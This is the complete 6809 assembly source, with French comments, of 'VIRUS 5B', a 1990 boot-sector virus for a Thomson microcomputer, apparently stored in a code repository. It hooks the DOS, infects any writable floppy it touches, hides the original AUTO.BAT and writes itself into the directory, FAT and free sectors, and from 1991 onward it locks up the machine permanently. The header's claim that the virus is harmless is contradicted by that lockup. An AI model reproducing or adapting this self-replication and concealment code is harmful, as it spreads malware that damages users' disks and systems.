blob: 67f5698a63860e86e57e1aa28c7ef572acc23839 [file] [log] [blame]
************ par Michel SAINT-BRIANT
* *
* VIRUS 5B * A.S.C.I. 1990 Copyright
* *
************ (ce virus est inoffensif)
LOCAL EQU $8880
DEP EQU $A000-LOCAL-2
TAMPON EQU $7065
ORG $A100
* On prépare la sortie
PSHS U,X,Y,DP,A,B,CC
* le virus doit se montrer à partir de
* 1991 (si la date a été entrée !)
LDA $607E Registre-année
CMPA #91 si contenu < 91
BLO INSTAL VIRUS5B s'installe
* en 1991 et années suivantes,le virus
* se manifeste par un affichage et un
* plantage irréversible
MESSAG LDX #TEXTE affiche le
LDB #$C message après
PRINT JSR $E803 effacement
LDB ,X+
COMB
BNE PRINT
STX $60FE pour RESET à froid
PLANTE BRA PLANTE boucle sans fin
* installer le virus pour contamination
INSTAL LDU #$A001
LDX #LOCAL
LDA #$FF
STA ,X+
LDD #$470A
STD ,X++
COPIE LDA ,U+
STA ,X+
CMPX #$A3FF-DEP
BNE COPIE
LDX #CONTAG-DEP
LDA #$7E
STX $6806
STA $6805
* on sort discrètement pour le vrai
* AUTO.BAT
FIN PULS CC,A,B,DP,X,Y,U,PC
* Partie 'CONTAGIEUSE'
CONTAG PSHS U,X,Y,DP,B,A,CC
CMPA #$80 en entrée A est le
BLO QUITTE 'DEVICE in use':si
CMPA #$84 ce n'est pas un
BHI QUITTE lecteur, on sort.
LDX #LOCAL Vérification de l'
LEAY ,X intégrité de VIRUS
CHECKS LDB ,X+ 5B avant tentative
LEAY B,Y de contamination.
CMPX #$A3F4-DEP On procède par
BNE CHECKS un checksum sur 16
LDD ,X bits qui détecte
LEAX D,Y toute modification
BEQ SUITE (si modif. sortie)
LDA #$39 RTS mis en $6805
STA $6805 désactive VIRUS5B
BRA QUITTE
SUITE LDU $61C7 U = pointeur BASIC
LDA ,U+ si nul
BEQ DEVICE ou > DEVICE
CMPA #$3A si ':'
BEQ DEVICE
CMPA #$22 si pas '"' alors
BNE QUITTE on sort
LDD ,U si '"' alors le
CMPB #$3A 3ème est-il ':'?
BNE DEVICE si pas ':'>DEVICE
CMPA #$30 si":"a-t-on'"0:'?
BEQ OK si oui c'est OK
QUITTE PULS CC,A,B,DP,X,Y,U,PC
DEVICE LDA $6768 le lecteur par dé-
CMPA #$80 faut est-il "0:" ?
BNE QUITTE si non on sort
* OK c'est à dire qu'on a une fonction
* ayant accès au lecteur 0: (DIR,LOAD(m)
* SAVE(m),OPEN,MERGE,COPY...)
* Voyons maintenant si la disquette est
* protégée en écriture (oui = fichu !)
OK JSR $E09D initialise DOS
CLR <$49 lecteur 0:
LDA #20 on se cale sur
STA <$4B la piste 20
JSR $E452 accès disquette
LDA $E7D1 on lit $E7D1
LDB #$40 et on éteint la
STB $E7D2 diode-disquette
ANDA #4 on teste le bit 2
BNE QUITTE si 1 protégée
* la disquette n'est pas protégée.
* Examinons sa FAT
LDA #2
STA <$48 lecture du
STA <$4C secteur 2
LDX #TAMPON dans la zone
STX <$4F $624F/$634E
JSR $E004 appel DOS
* les secteurs 9 à 12 piste 20 sont-ils
* libres ? si c'est non, VIRUS 5B est
* déjà installé donc on sort ou la place
* est prise par autre chose et on sort.
LDA TAMPON+42 teste bloc 41
CMPA #$FE est-il protégé ?
BNE QUITTE si non on quitte.
* y a-t-il plus de 40 fichiers dans la
* FAT (chaque fin de fichier est codée
* par $C1 à $C8 donc on compte les $C.)
LDX #TAMPON+1 début des blocs
CLRB compteur à 0
BLOC LDA ,X+
ANDA #$F0
CMPA #$C0
BNE SUIV
INCB
SUIV CMPX #TAMPON+161 fin 160 blocs
BNE BLOC
CMPB #40 40 --> 5 secteurs
BHI QUITTE donc 1 de sécurité
* tout va bien,il ne reste plus qu'à
* chercher s'il existe un AUTO.BAT :
* si non on sort
LDA #5 on analyse les
STA LOCAL-1 entrées dans le
SECTOR INC <$4C répertoire avec
JSR $E004 les secteurs 3/7
LDU <$4F
LDB #8 8 entrées par
ENTREE LDY #AB-DEP secteurs
TFR U,X
TESTAB LDA ,X+
CMPA ,Y+
BEQ TESTAB
CMPY #AB+12-DEP
BEQ AUTO
AUTRE LEAU 32,U
DECB
BNE ENTREE
DEC LOCAL-1
BNE SECTOR
PASBAS LBRA QUITTE
* AUTO.BAT trouvé, est-ce bien du basic?
AUTO TSTA
BNE PASBAS
LDA ,X
BNE PASBAS
* on a un AUTO.BAT basic
LDX #$1B58 on débaptise l'
STX ,U++ AUTO.BAT (masque)
LDD #$2009 on remplit les 9
SPACE STA ,U+ autres caractères
DECB d'espaces...
BNE SPACE
LDX #LOCAL-12
LEAU 5,U
TFR U,Y On sauve le com-
CODAT1 LDA ,Y+ mentaire et la
STA ,X+ date de l'ancien
CMPX #LOCAL-1 AUTO.BAT pour
BNE CODAT1 recopie après.
LDX #$0D1B
STX ,U++
LDX #$5F18 puis on modifie
STX ,U++ pour dissimuler.
LDX #$0808
STX ,U++
CLR ,U
* existe-t-il une entrée libre dans le
* même secteur ?
LDB #8
LDU <$4F
LIBR0 LDA ,U
BEQ INOCUL
CMPA #$FF
BEQ INOCUL
LEAU 32,U
DECB
BNE LIBR0
* pas de place sur le même secteur alors
* on l'écrit ...
LDA #8 écriture du
STA <$48 secteur
JSR $E004 modifié
LDA #2 lecture du suivant
* cherchons place dans un autre secteur
LDA #2 pour lecture
STA <$48
LDA <$4C on sauvegarde le
STA LOCAL-1 secteur initial
PLACE INC <$4C
LDA <$4C
CMPA LOCAL-1
LBEQ QUITTE si on fait le tour
CMPA #9 sans trouver > FIN
BNE CHERCH
LDA #2 si la recherche n'
STA <$4C a pas été bonne,on
BRA PLACE reprend au début.
CHERCH JSR $E004
LDB #8
LDU <$4F
LIBR1 LDA ,U
BEQ INOCUL
CMPA #$FF
BEQ INOCUL
LEAU 32,U
DECB
BNE LIBR1
BRA PLACE
* maintenant on implante VIRUS 5B
* 1/ sur le catalogue
INOCUL LDX #AB-DEP
LDB #11
NOM LDA ,X+
STA ,U+
DECB
BNE NOM
CLR ,U+
CLR ,U+
LDD #$29FE
STA ,U+
CLR ,U+
STB ,U+
LDX #LOCAL-12 On recopie le
CODAT2 LDA ,X+ commentaire et la
STA ,U+ date de l'ancien
CMPX #LOCAL-1 AUTO.BAT pour
BNE CODAT2 faire plus vrai !
LDB #5 on complète
CLEAR CLR ,U+ avec des zéros
DECB
BNE CLEAR
LDA #8 pour écriture
STA <$48
JSR $E004
* 2/ sur la FAT
LDA #2
STA <$48
STA <$4C
JSR $E004
LDA #$C4
STA TAMPON+42
LDA #8
STA <$48
JSR $E004
* 3/ sur les secteurs 9 à 12
LDD #$0408 4 secteurs
STB <$4C depuis le 9
LDU #$8781
STU <$4F
COPPRO INC <$4C
INC <$4F
DEC <$50
JSR $E004
DECA
BNE COPPRO
* C'est fini et on sort
PULS CC,B,A,DP,U,X,Y,PC
* AUTO.BAT
AB FCC "AUTO BAT"
* MESSAGE
TEXTE FCB 255
END